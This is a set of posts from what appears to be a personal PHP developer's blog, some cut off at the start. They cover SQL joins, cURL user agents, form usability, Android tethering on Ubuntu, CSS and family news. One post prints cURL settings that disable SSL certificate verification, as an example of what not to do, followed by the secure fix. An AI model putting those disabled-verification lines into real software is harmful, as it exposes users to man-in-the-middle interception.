somevalue = "This ""string"" has quotes"
somevalue = "This \"string\" has quotes"

But none of them worked! Turns out a quick look at the PHP manual reveals a simple (but a bit hacky) solution to this is to define a constant e.g. QUOTE to be “, and use that in the INI string.

// In the PHP:
define('QUOTE', '"');

; and in the INI file
somevalue = "This "QUOTE"string"QUOTE" has quotes"

Browser Distribution

• Firefox – 58.93%
• Internet Explorer – 15.58%
• Chrome – 10.33%
• Safari – 9.64%
• Mozilla – 2.92%

Flash Usage

• 8.31% of visitors do not report to have Flash installed

Operating Systems

• Windows – 55.95%
• Linux – 29.54%
• Mac – 8.61%
• Android – 4.90%
• iPhone – 0.31%
• iPod – 0.17%
• FreeBSD – 0.06%
• Playstation 3 – 0.06%
• Blackberry – 0.02%

Java Support

• Yes – 76.80%
• No – 23.20%

Top 10 Countries Ordered By Visits

Other Figures…

• 1.23 average page views per visit
• 59 seconds average time on site (yikes!)
• 86.51% new visitors versus 13.49% returning visits

So without further ado, I pronounce www.jamestitcumb.com officially open!

• The source has no history – if there is a problem, we can’t roll back
• We overwrite each other’s changes if we work on the same file

How do other people manage this situation? Having source control on the network drive is fine, but that doesn’t solve the problem of overwriting each other’s changes does it… And setting everyone up with VMs or local repos doesn’t wash with the tech manager. Would a solutions such as each having their own checkout and then the shared network drive automatically update work? What about slowness in updating – people making a change and having to wait a while before it takes effect probably wouldn’t wash with our tech team, and committing back every tiny change seems a bit silly.

What about other source control (i.e. not SVN) – do you think it would suit us? I’m open to suggestions, except for Visual SourceSafe. Preferably something that integrates well with Eclipse, and is also cross platform (we use a mix of Windows, OSX and Linux), but something that also works well without Eclipse… tall order perhaps?

And boy, this could really change the landscape of PHP as we know it. I’m a great fan of compiling PHP for one reason or another, but I’ve never seen it reliably work. Roadsend is an absolutely fabulous rewrite of the Zend engine that allows compilation of PHP. Unfortunately, there are gaps and certain features are missing (but in the pipeline I’m sure). If you want to make a generic website though without any specific extensions, then Roadsend is great and works great with Apache.

I’m really excited to explore HipHop as it claims to be the bee’s knees, and there’s been a lot of hype over it since the announcement. HipHop claims to improve PHP’s performance by fifty percent, which is great. Not only this but it’s clearly proven to be stable as it’s already in use on 90% of Facebook’s platform which means it’s not a lone developer’s work which is tested on his one box; it’s been tested by millions of users.

The great thing about HipHop is that it actually generates C++ code from the PHP, and compiles that normally (using g++ I think). From what I understand, the hardest part (logically) is converting a loosely typed language to a statically typed language. This means that in PHP you would declare a variable without specifying it’s type, in C++ you have to. From what I understand, HipHop parses all the code and attempts to understand all the uses of variables and types them accordingly.

I’m looking forward to seeing HipHop in action and getting stuck in.

On the Freyja side of things, she’s drawing close to 10 months old now and is coming on leaps and bounds. She can make “red indian” noises (patting her mouth and making noise), walk around standing up and holding the furniture, put balls into the “learn and sort” helicopter toy I got her for Yule, crawl around on hands and knees with quite a pace, wave, throw tantrums and all sorts of other bits and pieces.

She’s truly a joy and makes me a very proud parent. She also eats us out of house and home, typically getting through a bowl of porridge and yoghurt for breakfast, a slice of bread with topping and a yoghurt and biscuit for lunch, a snack mid-afternoon, and a bowl of healthy home-made food followed usually by 2 or 3 yoghurts. As you can probably tell, she likes yoghurts, but there’s nothing wrong with that as they’re a good source of calcium as Hannah’s milk starts to deplete.

In other news, it’s Hannah’s birthday soon, so if you haven’t been invited (on Facebook of course…) and you think you should be, get in touch.

id  name
1   TEST
2   ANOTHER_VALUE
3   SOMETHING_ELSE

This is joined onto the main data table, sensibly with a query like this:

SELECT *
FROM the_data
LEFT JOIN the_values ON the_data.some_value = the_values.id
WHERE the_values.name != 'TEST'

The gotcha is however, that this doesn’t work as you’d expect. If a record in “the_data” table doesn’t have a corresponding entry in “the_values” e.g. if “the_data.some_value” is 0 (as in my instance, it doesn’t need to have a corresponding value), then these entries are completely excluded. The solution (simple once you understand how it works…) is to check for NULL values too:

SELECT *
FROM the_data
LEFT JOIN the_values ON the_data.some_value = the_values.id
WHERE (the_values.name IS NULL OR the_values.name != 'TEST')

One of my niggles (pet hates if you will) about them is their unnecessarily dazzling headlights. I just saw the advert shown on a website and made me think of the title of this blog post…

It confuses my why Lexus thinks these Bi-xenon headlights are at all a good thing? Surely blinding your fellow road users so much that they crash is a bad thing? Aren’t Xenon headlights the ones that look blue from certain angles as well, confusing me that there is police ahead?

So yeah – if you want to blind your fellow users, buy a Lexus. Or a BMW. Or a Mercedes. Or similar car.

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

Why is this bad? You leave yourself totally open to man-in-the-middle attacks, and makes SSL virtually pointless. Sure the data passed between the two servers would still be encrypted, but there is no way of verifying the server you’re talking to is the server you WANT to be talking to!

My recommendation is that you verify the server is genuine by checking against the genuine CA certificate in PEM format. There are plenty of tutorials (e.g. here) on the internet to obtain the PEM certificate, so I won’t go into that here. All you need to do is change your cURL request like this:

curl_setopt($ch, CURLOPT_CAINFO, "/path/to/your/certificate");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

Set CURLOPT_SSL_VERIFYHOST to 2 “to check the existence of a common name and also verify that it matches the hostname provided” (read: PHP Manual).

Checking against the CA certificate in this way is the proper way of verifying that the server you’re talking to is the one you expect.

Normally I would do something like this:

<img src="logo.gif" alt="Company Logo" />
<h1><a href="/home">Company Name</a></h1>
<ul>
  <li>About This</li>
  <li>Portfolio</li>
  <li>Get In Touch</li>
</ul>
<h2>We are an awesome company!</h2>
<h3>About This Company</h3>
<p>Content...</p>

Showing here that “Company Name” is the overall most important thing on the page. However, one of the developers here has structured it slightly differently:

<img src="logo.gif" alt="Company Logo" />
<a href="/home">Company Name</a>
<ul>
  <li>About This</li>
  <li>Portfolio</li>
  <li>Get In Touch</li>
</ul>
<h1>We are an awesome company!</h1>
<h2>About This Company</h2>
<p>Content...</p>

If I view the page without CSS, the company logo becomes unimportant and lost, but the “We are an awesome company!” tag line becomes the most important thing on the page. I’ve not come across this different way of thinking before, and I’m just wondering what other people think – what should the <h1> be?

It could just boil down to choice – whether you see the overall site name (e.g. “Company Name”) as the most important thing or something else… Maybe you design your pages in completely different way?

Far too often have I seen things like:

curl_setopt($c, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");

In my opinion you should always use a nice descriptive user agent that explains to the server exactly what your client may be trying to achieve, or at least a unique identifier. Unless you’re trying to achieve some kind of web scraping client (which probably contravenes some terms of service agreement somewhere, so I certainly don’t advocate that!), there is no reason not to provide a useful and descriptive UA string.

A good UA string from a little-known client should provide some way of contacting you. When I say little-known, I mean something like your new web app that you’ve just made that queries Last.fm for user data. In this instance, I’d give a nice descriptive UA string with contact e-mail, e.g.:

curl_setopt($c, CURLOPT_USERAGENT, "MyLastFmClient (v0.1) myemail@address.com");

As your client becomes more used, or you already have a decent way of contacting you on your website, perhaps just put a URL:

curl_setopt($c, CURLOPT_USERAGENT, "MyLastFmClient (v1.2) www.address.com");

Of course, when you’re Google for example, everyone knows who you are, so for example the UA string “Mediapartners-Google” yields 200k-odd results, revealing that this is the AdSense content bot.

Why do I think this is important? It helps servers identify you and help you in most instances. If your client goes wrong and gets itself stuck in a loop because you forgot to increment $i for example, that server can see that MyLastFmClient for example is spamming the server with 1,000+ requests a minute. They can then see your UA string and contact you about it.

Another reason is that some servers might actually block access, or provide different content depending on the client. I know that Google serves up a completely different search results page if you’re on IE5 than in IE8 for example. Another server might block all known browsers for example from accessing a web service (e.g. with the message “this page cannot be accessed using a web browser”). I’m not saying this is good or bad practice as that is a WHOLE other kettle of fish – but I’m just saying it can happen, and that sort of thing can be pretty hard to track down.

Although this all might seem pretty trivial, it is useful, and I think any HTTP(S) client should identify itself properly using a clear and descriptive user agent string. It’s no harder to do and it just makes everyone’s lives easier!

In addition they have given me probably the best customer service satisfaction of any company I have ever used. Their ticket response time for me has been consistently under 4 minutes, which is hugely impressive. I’m not the only one who is praising them, they’ve received good praise all over Twitter, with response times of 4-6 minutes.

I highly recommend using Linode if you’re thinking of getting a VPS – and if you do decide to sign up, please use my referral link!

Or my code: 939c7865b8818f015533efae7b06cdb06f9b59be

And as a side note, as my IP has changed, it will take another 24 hours or so for the DNS to propogate probably, so hold fast until then everyone!

Let me quickly explain the top reason why you forwarding an e-mail is my problem.

• Have a look at the e-mail you’re forwarding. Chances are, you’ve included hundreds of people’s e-mail addresses. By forwarding to people and using the “To:” field of your e-mail client, you’re basically giving your e-mail address to everyone else you’re sending that e-mail to. And if that gets forwarded on, and not removing them, those e-mail addresses get sent around the internet. Would you give your telephone number or address to a complete stranger? No? Well STOP GIVING MY E-MAIL OUT. I’ve seen e-mails with literally thousands of e-mail addresses. Were it to fall into the hands of a certain sort of person, that list would make them money.
• You will not get a free laptop if you forward the e-mail on. Bill Gates will not give you any money at all. Your wishes will not magically come true. You will not get good luck. You will not suddenly fall in love. Fairies will not appear and grant you 3 wishes.
• You will piss people off.
• You think you’re being useful by sending on that “latest virus news”? You’re not – you’re fuelling spam which means YOU are just as bad as the VIRUS that you’re trying to warn people about. Protect yourself with anti-virus and anti-spyware software. If you don’t have some, get some here. It’s free, and better than Norton Antivirus Bloatware.
• Warning people about telephone scams? See above.
• Warning people about postal scams? See above.
• “Oh but my gran/mum/sister might not know and I wouldn’t want them to get scammed!!!” Your gran/mum/sister has common sense, and chances are they will have read the e-mail and forgotten about it anyway – scammers are clever and get you to do things like forwarding e-mails – oh whoops! You already did that…
• “I thought I’d send it just in case…” Again – YOU’RE SPAMMING, stop it. There is no reason to forward the e-mail you want to, so stop it.
• It wastes my time, which I could be spending doing something productive, or spending time with my daughter. It also wastes your time.

I’m fed up of it, so please, do me a favour and stop forwarding e-mails – not just to me, but to anyone. By forwarding e-mails, you are fuelling internet spam.

If you continue forwarding e-mails, then don’t you dare moan about how much spam you get.

Do yourself a favour, and if you recieve a forwarded e-mail from someone, send them a link to this article.

We are looking for a graduate who is passionate about the web

This sort of thing in job postings really annoy me. The notion that a degree makes a person better than someone with 3+ years of experience to me is a very narrow-minded way of thinking. Many employers use this sort of thing as a “first line of defence” tactic – to eliminate applicants that are clearly not suited to the job. However, there are many great developers out there with no degree, but many years of experience.

I asked an employee of Headscape about this, and he summarised that he expects they would consider those without degrees. Perhaps because I don’t have a degree it touches a raw nerve with me, because I’ve been very lucky to get where I am.

I got on the “software development ladder” through a good opportunity, because I had zero “years experience” and no degree, and from an employers perspective, a pretty risky option. Because I was given that chance, I now have over 6 years of professional development experience. Others in my 2003 situation might not be so lucky, and because employers require things like degrees, it makes those starter developers chances of getting even a junior job even harder.

It seems an odd concept to me that to get on that ladder, you must spend 4 years at university, wasting money and time, learning what you already know… In this industry* I would disagree that a degree is required, so why do employers still require that candidates have degrees? To me, all a degree does is prove that you can think analytically, but to even learn a programming language properly, you have to think analytically and logically anyway, so surely if you can prove you know the language, you therefore also prove that you can think analytically…

I’d like to see what other people think about this, maybe I’m a minority on this view?

* I specify in this industry because certain other professions, such as medical, I would say that a degree is required.

For those of you who are reading on feed readers or unable to see the image, the text reads:

For your additional security and to protect your personal information we request that you re-enter your password each time you wish to view a page containing your personal details.

This is probably one of the most annoying things I have ever seen on a website. Not only does it force me to enter my password every time I want to look at something (not just once, but EVERY time), it is also a huge accessibility issue. For goodness sake Dixons, have you even considered people who have difficulty using keyboards? Forcing them to enter their password EVERY SINGLE TIME is like making a bank with steps and no ramp for wheelchair users.

Personally I think it is hugely discriminatory to force users to enter their password not just when initially logging in, but every time you want to look at something? Whichever idiot thought of that idea should be shot, and this issue should be fixed immediately.

Sort your website out Dixons – employ someone who actually considers the people who may be using your website.

We had friends over on Saturday – it was nice to actually see some of my friends for once! We’ve learnt that having a baby can make socialising very difficult, and many of the things we used to do are not so easy any more, so it was refreshing that Tom & Soph came over to see us and a good night was had by all!

Yuletide is approaching already, and this year we’re off to Andorra with the family for a skiing trip. Freyja will be a little too young to remember it but I’m sure she’ll love the snow. Unfortunately I’ve learnt that my mum may not be able to ski due to her leg being sore and she’s had an injection and stuff from the doctors, so she needs to take it easy. Although having said that, she’d love to spend every day with her three gorgeous grandchildren!

In other news, I’ve been working hard on a new project of mine which some of you will have heard of. I’m not far from releasing it as public beta version, but more news when that happens. I’d love to commit to saying “Yeah I’ll blog every few days again”, but since Freyja was born my life has pretty much entirely evolved around her (of course!) which leaves me very little time – and the spare time I do have I spend watching films with Hannah! I will see if I can blog more frequently, as some of you have complained to me for not blogging so much and letting it fill up with tweets…

The popular opinion seems to be either health & safety, or cutting back on costs. I’d probably go with the former as some numpty parent probably tried to sue some cereal maker for trying to bring a bit of joy into a child’s life…

Anyway, I sent messages to Kellogg’s and Nestlé via their websites, and I actually got a (rubbish) response from Nestlé’s consumer relations department…

Dear James

We have taken the decision to move away from offering promotions that directly appeal to children. However, we continue to offer promotions which can be taken advantage of and enjoyed by the whole family, like our Go Free promotion.

We hope you will continue to buy Nestle cereals and take up some of our exciting offers lined up for next year.

Kind Regards

<name removed>

Consumer Relations

That’s not really an answer as such, which could be interpreted as them avoiding the topic entirely…

I have not yet had a response from Kellogg’s on the matter either…

Update 6th Oct 2009:

Kellogg’s responded! With a much more useful answer:

Dear Mr Titcumb

Thank you for your e-mail. The reason that we no longer have the inserts inside the packets  is because of a change in Government guidelines in Advertising and Marketing to children.

If you want to have a look at our current sites Headstarters, they are available at www.kelloggs.co.uk and I hope you enjoy them.

In the mean, time thanks very much for your interest.

If you have any further questions that I can help you with please let me know.

Kind Regards
<name removed>
Customer Service Representative

So basically – it is Labour’s fault.

<?php
 
class a
{
	function method($arg)
	{
		echo "method, with args: {$arg}<br />";
	}
}
 
class b extends a
{
	function method()
	{
		echo "child method, no args<br />";
	}
}
 
$a_test = new a();
$b_test = new b();
 
$a_test->method("test");
$b_test->method();
 
// Outputs:
// method, with args: test
// child method, no args

As you can see, class “b” can override “method” without using the same prototype as a::method. Bear in mind however, this is most certainly not the case with abstract methods – as they provide the prototype that child classes must adhere to, as shown here:

<?php
 
abstract class a
{
	abstract function method($arg);
}
 
class b extends a
{
	function method()
	{
		echo "child method, no args<br />";
	}
}
 
$a_test = new a();
$b_test = new b();
 
$a_test->method("test");
$b_test->method();
 
// Throws an error:
// Fatal error: Declaration of b::method() must be compatible with that of a::method() in /path/to/inherit-check.php on line 14

div.socialhomes
{
  margin-top: -5px;
  text-align: center;
}

However, inline styles (i.e. style=”…”) take precedence over all external styles. My opinion is that they shouldn’t be used because of this, and the plug-in developer should’ve used external CSS to achieve the styles. However, there is a way around it, by using the !important modifier. I’m not sure about browser compatibility, but in my instance it’s not that critical, so I’m not fussed about it… I simply changed the above class to this, and it worked!

div.socialhomes
{
  margin-top: -5px !important;
  text-align: center !important;
}

Like magic… It basically says “this style is really important, don’t over-ride it”… so there you have it!

Seeing the lifeless infant after the accident, the motionless stare, was just horrible to watch.

Warning: This video is not suitable for minors!

This video is just a dramatisation, but is a realistic representation of what could happen if you use a mobile phone whilst driving. Watch it, and maybe you’ll think twice…

The biggest gripe I have with Eclipse however, is trying to install plug-ins. I don’t think I’ve EVER installed a plug-in without having to manually mess around with dependencies and trying to manually resolve them. It’s a HUGE downfall, and makes any Eclipse IDE virtually unusable. It’s intensely annoying when I just want to get on with things, but some bloody plug-in I need (normally the CollabNet/Mylyn plugins) just won’t install without getting in a hissy fit.

Take for example this latest error:

Cannot complete the install because of a conflicting dependency.
Software being installed: Mylyn Task List (Required) 3.2.0.v20090617-0100-e3x (org.eclipse.mylyn_feature.feature.group 3.2.0.v20090617-0100-e3x)
Software currently installed: Zend Studio 7.0.0.v20090806 (com.zend.php.ide 7.0.0.v20090806)
Only one of the following can be installed at once:
Java 5 Compatibility Checker 3.2.0.v20090617-0100-e3x (org.eclipse.mylyn.compatibility 3.2.0.v20090617-0100-e3x)
Java 5 Compatibility Checker 3.2.1.v20090722-0200-e3x (org.eclipse.mylyn.compatibility 3.2.1.v20090722-0200-e3x)
Cannot satisfy dependency:
From: Zend Studio 7.0.0.v20090806 (com.zend.php.ide 7.0.0.v20090806)
To: org.eclipse.mylyn.ide_feature.feature.group [3.2.1.v20090722-0200-e3x]
Cannot satisfy dependency:
From: Mylyn Task-Focused Interface (Recommended) 3.2.1.v20090722-0200-e3x (org.eclipse.mylyn.context_feature.feature.group 3.2.1.v20090722-0200-e3x)
To: org.eclipse.mylyn_feature.feature.group [3.2.1.v20090722-0200-e3x]
Cannot satisfy dependency:
From: Mylyn Bridge: Eclipse IDE 3.2.1.v20090722-0200-e3x (org.eclipse.mylyn.ide_feature.feature.group 3.2.1.v20090722-0200-e3x)
To: org.eclipse.mylyn.team_feature.feature.group [3.2.1.v20090722-0200-e3x]
Cannot satisfy dependency:
From: Mylyn Bridge: Team Support 3.2.1.v20090722-0200-e3x (org.eclipse.mylyn.team_feature.feature.group 3.2.1.v20090722-0200-e3x)
To: org.eclipse.mylyn.context_feature.feature.group [3.2.1.v20090722-0200-e3x]
Cannot satisfy dependency:
From: Mylyn Task List (Required) 3.2.0.v20090617-0100-e3x (org.eclipse.mylyn_feature.feature.group 3.2.0.v20090617-0100-e3x)
To: org.eclipse.mylyn.compatibility [3.2.0.v20090617-0100-e3x]
Cannot satisfy dependency:
From: Mylyn Task List (Required) 3.2.1.v20090722-0200-e3x (org.eclipse.mylyn_feature.feature.group 3.2.1.v20090722-0200-e3x)
To: org.eclipse.mylyn.compatibility [3.2.1.v20090722-0200-e3x]

From what I understand here, I can’t install Mylyn because of a 0.0.1 version difference. Because of two packages that were released within a month of each other?! That – in my opinion – is stupid. I just want to get on with things but I can’t because of this.

I sincerely hope the next version of Eclipse will sort out this stupid dependency issue, as if I was the Eclipse development team, this sort of difficulty-of-use issue would be a real show-stopper. In addition, I have no idea why Zend would base their €399 IDE which is meant to be a “professional-grade” solution to “maximise developer productivity” on such a shoddy, buggy IDE.

This kind of lazy form creation really annoys me. This company is trying to make users jump through hoops just so their form developers don’t have to bother reformatting the data into an acceptable format to them.

It is absolutely critical when developing a form that must convert well to accept pretty much anything in the form. For example if I want to write “15,000″ or even “£15,000″ in the amount box for my insurance, then let me! Don’t tell me it’s wrong, because it isn’t. The developers here have made a big mistake, and although I was just testing out their form and wasn’t going to buy a product, this sort of thing really does affect form conversion.

So here’s a big hint to form developers on business-critical forms that must convert well: don’t be lazy – let the customer enter whatever they like, and try and interpret the data the best you can. Even better – if you can’t truly determine what the user has entered, provide some feedback.

Take for example an amount field for loans, insurance and so on. Valid entries could be:

• £15000
• £15,000
• 15,000
• 15.000
• 15.000,00
• 15000.00
• 15,000.-

You might think “well my form is only for UK customers, so the European format isn’t used” – wrong. Many UK customers use the European 15.000,00 format. The problem here is trying to determine where decimal places really are.

My preferred solution is to use Javascript to convert the input into what we think the customer is trying to enter, for example converting these numbers:

• £15,000 > 15000
• 15,000.- > 15000
• 15,000.00 -> 1500000
• 15.000,00 – 1500000

The conversion here could be some Javascript that removes all non-numeric characters and replaces what is in the input box when the focus blurs away. With any luck the user will notice the change, and notice that in the last two instances, the number is 1.5 million, not the 15.000,00 they thought they’d entered. The customer will then tend to go back to the box, and simply delete the extra zeros.

Enhancements to this idea could be to highlight the box and display a subtle hint that the number the customer entered was changed, e.g. “Is this number right?”, or if the number seems too high for the expected range of the input box. Say for example, the likelihood of an insurance quote above 1,000,000 is pretty slim, why not display this “Is this number right?” message if the value is 500,000 or above.

There are many tips and tricks that you can use to make filling in your form so much easier – and I highly recommend doing them. Displaying a big red warning message at the top stating that my postcode was invalid is a huge drop-off point, and you will see users dropping off from the form at this point. You have to help the user, not make them jump through hoops. Encourage them to fill in the form, not tell them they’re doing it all wrong.

Consider making:

<input type="checkbox" name="remember_me" /> Remember my login

Into:

<input type="checkbox" name="remember_me" id="remember_me" />
<label for="remember_me">Remember my login</label>

kthxbai.

As some of you may know, back in March/April time, I started revising for my Zend PHP5 Certification, but that was pretty much put on hold when we had a baby… now I’m revising again and after having revised a couple of topics I retook the test. As you can see, I passed it “with flying colours” this time, but still have improvement to do with Streams and Design patterns…

Comparing with my last test:

• 2 categories remained the same;
  • Database access
  • Web features)
• 4 categories improved;
  • PHP 4/5 Differences (was FAIL)
  • Security (was PASS)
  • String Manipulation and Regular Expressions (was PASS)
  • Functions (was PASS)
• 2 categories declined;
  • Streams and Network Programming (was PASS)
  • Design (was EXCELLENT) [eep - not so good that!]

I think overall however, these statistics shouldn’t be examined too much – there are some questions I can guess and don’t demonstrate that I truly *know* some topics, so I’m going to cover off a few categories I don’t feel to confident on anyway – but then the practise tests are just indicators, and not meant to represent the final exam… we’ll see!

Looking at Firebug’s net monitoring, I thought “I wonder if Google will open up an API”? It would be quite cool to have an API to request search results from, and Google returns you a load of results in well under a second (Firebug reports the requests take around 300-400ms, which is nice!). At the moment I don’t think it’s a possibility – even me just playing around brought up Google’s human checker (a captcha) that is meant to stop automated search requests…

Makes ya think though, doesn’t it?

Pick your Artist: Bal Sagoth

Are you a male or female:
- Enthroned in the Temple of the Serpent Kings

Where do you live:
- Into the Silent Chambers of the Sapphirean Throne (Sagas from the Antediluvian Scrolls) / Valley Of Silent Paths

How do you feel:
- Beneath the Crimson Vaults Of Cydonia

If you could go anywhere, where would you go:
- In search of the lost cities of antarctica

Your favorite form of transportation:
- Shackled To the Trilithon of Kutulu

Your best friend is:
- The Hammer Of The Emperor

Favorite time of day:
- Star-maps of the Ancient Cosmographers

If your life was a TV show, what would it be called?
- The splendour of a thousand swords gleaming beneath the blazon of the hyperborean empire (Part III)

What is life to you:
- The sixth Adulation of his Cthonic Majesty

Your fear:
- The Fallen Kingdoms of the Abyssal Plain

What is the best advice you have to give:
- Blood Slakes The Sand At The Circus Maximus

How I would like to die:
- And Atlantis Falls…

My motto:
- A Black Moon Broods Over Lemuria

Anyway, this year I’m looking forward to seeing some great bands, including Carcass, Katatonia, Saxon, Apocalyptica, Blind Guardian, Enslaved, Amon Amarth, Anathema, Europe, Satyricon and Turisas. It also means I get to finally update The Metal Page!

This process does involve a bit of fiddling and knowledge of how things work, and the instructions on the app’s page are pretty straightforward anyway.

Tethering has been made really easy by using an app called Azilink. All it is is an OpenVPN server on your phone, which allows your laptop to connect to it via a USB cable.

Here’s the steps – pretty much the same as on the instruction page linked above – but specifically for Ubuntu:

• Install OpenVPN (don’t bother with Network Manager): sudo apt-get install openvpn
• Enable USB debugging on your phone. From the home screen, this is under Settings > Applications > Development > USB debugging.
• Download the Android 1.5 SDK: http://developer.android.com/sdk/download.html?v=android-sdk-linux_x86-1.5_r3.zip
• Extract to /opt/android-sdk-linux_x86-1.5_r3
• Add the /opt/android-sdk-linux_x86-1.5_r3/tools directory to your path (e.g. in .bashrc add PATH=/opt/android-sdk-linux_x86-1.5_r3/tools:”${PATH}”
• Log out and back in again for the .bashrc to update
• You should be able to run adb now – type “adb”, hit RETURN and it should say it’s starting a daemon.
• Create and open /etc/udev/rules.d/51-android.rules in your favourite editor
• Add the line: SUBSYSTEM==”usb”, SYSFS{idVendor}==”0bb4″, MODE=”0666″
• Set the permissions of the file: sudo chmod a+rx /etc/udev/rules.d/51-android.rules
• Connect your HTC Magic via USB cable to your laptop (hint: “tail -f /var/log/messages &” gives you information when your phone is connected)
• Check adb recognises your device: “adb devices” you should see a device listed
• Download: http://lfx.org/azilink/azilink.apk
• Install the app to your phone by doing “adb install azilink.apk”
• You should see the Azilink app in your apps list (its a little moth icon).
• On your laptop, type “adb forward tcp:41927 tcp:41927″
• On your phone, run the Azilink app, and check the “Service active” checkbox. Status will change to “waiting for connection”
• Download: http://azilink.googlecode.com/files/azilink.ovpn
• On your laptop, run “sudo openvpn azilink.ovpn”
• In a few moments on your phone, Azilink should report the status is now “Connected to host”.
• In a new terminal (don’t close the openvpn program, you’ll lose your connection!) edit /etc/resolv.conf and add “nameserver 192.168.56.1″

With any luck you should now have internet. Next time you want to connect, I think you’ll have to do something like (and I’ve not checked this yet!):

• On phone, check USB debugging is enabled (if you disabled it)
• Connect HTC Magic to laptop with USB cable
• On laptop terminal, type: “adb forward tcp:41927 tcp:41927″
• On phone, check the “Service active” box (if you disabled it — recommended as it will probably drain your battery!)
• On laptop run “sudo openvpn azilink.ovpn”
• Add “nameserver 192.168.56.1″ into your /etc/resolv.conf (assuming Network Manager over-writes your resolv.conf)

I did this on Ubuntu 9.04 (Jaunty Jackalope) and this worked for me. Hopefully this should work pretty straightforward without problems.

Essentially what this app does is run a VPN server on your phone. ADB (Android Debugging Bridge) is a development tool that allows forwarding of TCP traffic from your laptop to the phone (and vica-versa) – working in a similar way to an SSH tunnel, but this is all unencrypted. Then all you have to do is open an unecrypted VPN connection to the forwarded port (i.e. 127.0.0.1:41927), and route the traffic through that. The nameserver isn’t auto set of course so that has to be done manually.

I have no idea why tethering is so difficult on the HTC Magic – it should be made much easier, especially as it’s such an open phone. However, thanks to it’s open-ness, apps like Azilink exist and make tethering possible!

Handy tip: You can download this article and keep it on your PC which may help if you’re trying to set this up and you dont have an alternative internet connection. Don’t forget to download all the files mentioned above as well! Right click this link and Save As….

Open your CSV in Excel, and add two new columns “vlookup” and “is_processed”. The formula to apply should be something like:

=VLOOKUP(C2,'already processed'!A:A,1,TRUE)

C2 is the ID you want to check if is in the list of already processed IDs (the “needle”). If you want the matching to be non-strict and have the lookup table sorted in whatever order (probably not), set the last parameter to TRUE. Normally you want FALSE to check anywhere, and make sure you sort the lookup table in ascending order.

Add a new sheet, and call it “already processed”, and add your list of IDs in the first column. This is your “haystack”.

If you return to your original sheet, you’ll see the “vlookup” column has either IDs (if the ID is found in your list) or #N/A if the value is not found. To make this neat, add this formula to your is_processed column:

=IF(ISNA(F2),"no","yes")

Where F2 is the vlookup column. Then for the IDs (“needles”) that are found in the search list (“haystack”) the value of is_processed will be “yes”, and all that aren’t found it’ll be “no”. You can then filter on this or whatever you like!

apt-get install ubuntuone-client ubuntuone-client-tools

to get it to work. Still, after that, it ran pretty smoothly and I’ve just synced up my first few files. As of yet I don’t really have a use for this sort of thing, but I expect backups of certain things would be useful. The free tier is a 2GB plan, or there’s a paid 10GB plan. Personally I’d prefer more storage if I were to use it but the 10GB is USD $10 so the amount of storage I’d need would I guess cost around $50 a month going on $1/GB.

Still, it’s a cool little feature and a welcome addition to my laptop, although as of yet I have no-one to share files with… I’ll figure out how to invite people if someone requests

If something annoys you about the programming language itself, you can just go ahead and change it. The upside to that is that you get the features you think are missing in PHP. The downside is that your code can potentially become incompatible with everyone else, and your code becomes quite unportable.

Nonetheless, Ilia Alshanetsky (author of php|architect’s Guide to PHP Security) has posted on his blog a patch of PHP 5.3 that provides proper, traditional, type hinting, currently unsupported for scalar types.

As he explains, type hinting is a controversial topic; what with the fluidity of PHP and it’s loosely-typed nature. However I think type hinting, especially strict type hinting would be more advantageous than disadvantageous. He explains how his patch adds a certain amount of flexibilty for numbers within strings (using the “numeric” pseudo-type) allowing a string to be passed off as a number (perfectly legal in PHP… e.g. “1″ + “1″ = 2), or alternatively using the stricter “int” type to specify a number and must be of integer type i.e. “1″ is not valid, but 1 is.

Unfortunately I don’t like delving into compiling stuff, so I’ll just have to hope it gets included in the main trunk of PHP… until then I can pretend I have type hinting, perhaps by adding comments such as this messy mess… *ahem*:

function foo(/* int */ $bar)

$value = $a_value ? $a_value : $b_value;

We can now simply do:

$value = $a_value ?: $b_value;

It goes without saying that one should still not nest ternary operators as they become messy and extremely difficult to understand, even with good commenting. Consider an if/elseif/else or switch instead.

There are a few other things in PHP 5.3.0 that I’m looking forward to as well, one of which is the bundling of ext/phar which is really rather cool.

There are other dubious things, which are covered (and argued) in great detail elsewhere such as the goto operator and the introduction of namespaces…

Why should I not be allowed to send a parcel, just because I use Linux? There is no reason for it – especially as they support Mozilla Firefox! There is no difference between Windows Firefox and Linux Firefox, and no reason to stop me using Linux to send a parcel. Thankfully plug-ins like the User Agent Switcher exist, to circumvent such inept and naive programming.

Update: User Agent Switcher didn’t work. I used Firebug to enable the submit button though, which let me through happily…

If you have a nice logo to display, and you don’t want to display a big bulky <h1> tag on your page, there’s a really easy way of doing that:

<div class="site-title">
<h1>Your Site Name</h1>
</div>

This markup is great for search engines. Search engines will see the <h1> tag and notice that “Your Site Name” is the page’s main title. Little things like this help search engines determine what your site actually contains, as opposed to the hugely ineffective method of repeating a load of words several thousand times in tiny text…

The way to make that neat semantic code look nice and pretty is with CSS, in order to hide that “Your Site Name” text but display your nice company logo instead…

div.site-title
{
background-image: url('/images/your-company-logo.png');
}
div.site-title h1
{
display: none;
}

As you can probably tell, what this CSS does is ask the browser to display your company’s logo as the background image to this div, and hide the <h1> text.

There’s another issue though – how do we make that lovely logo clickable to go to the home page? That’s easy too, and semantically.

<div class="site-title">
<h1>Your Site Name</h1>
<a href="/home/page/url"><span>Click here to go to the home page</span></a>
</div>

We modify the CSS as well to hide the text itself (in the <span>) but make the anchor (the <a>) tag into a block, which turns it into a link that covers the entire logo.

div.site-title
{
background-image: url('/images/your-company-logo.png');
}
div.site-title h1
{
display: none;
}
div.site-title a
{
display: block;
width: 300px;
height: 60px;
}
div.site-title a span
{
display: none;
}

We’ve used a similar trick here to hide the text that should only appear when CSS is turned off. As mentioned, we explicitly set the dimensions of the anchor tag to fill the dimensions of the logo image.

That’s all there is to it, and search engines will love that as opposed to just using something like this for your logo:

<a href="/home/page/path"><img src="/images/company-logo.png" title="Company logo" /></a>

The search engine or text-based user looking at your site will be able to see clearly what the page title is, and it will load really quickly as unless you’re applying the CSS styles, there will be no images to load, which makes it an all-round winner really!

I’m not saying this is the best way of doing it, but I’ve found it to be quite clever and I use it. If someone’s got some better ideas out there, why not add a comment with your idea

I’m no expert by any means, but it will be interesting to see how this pans out.

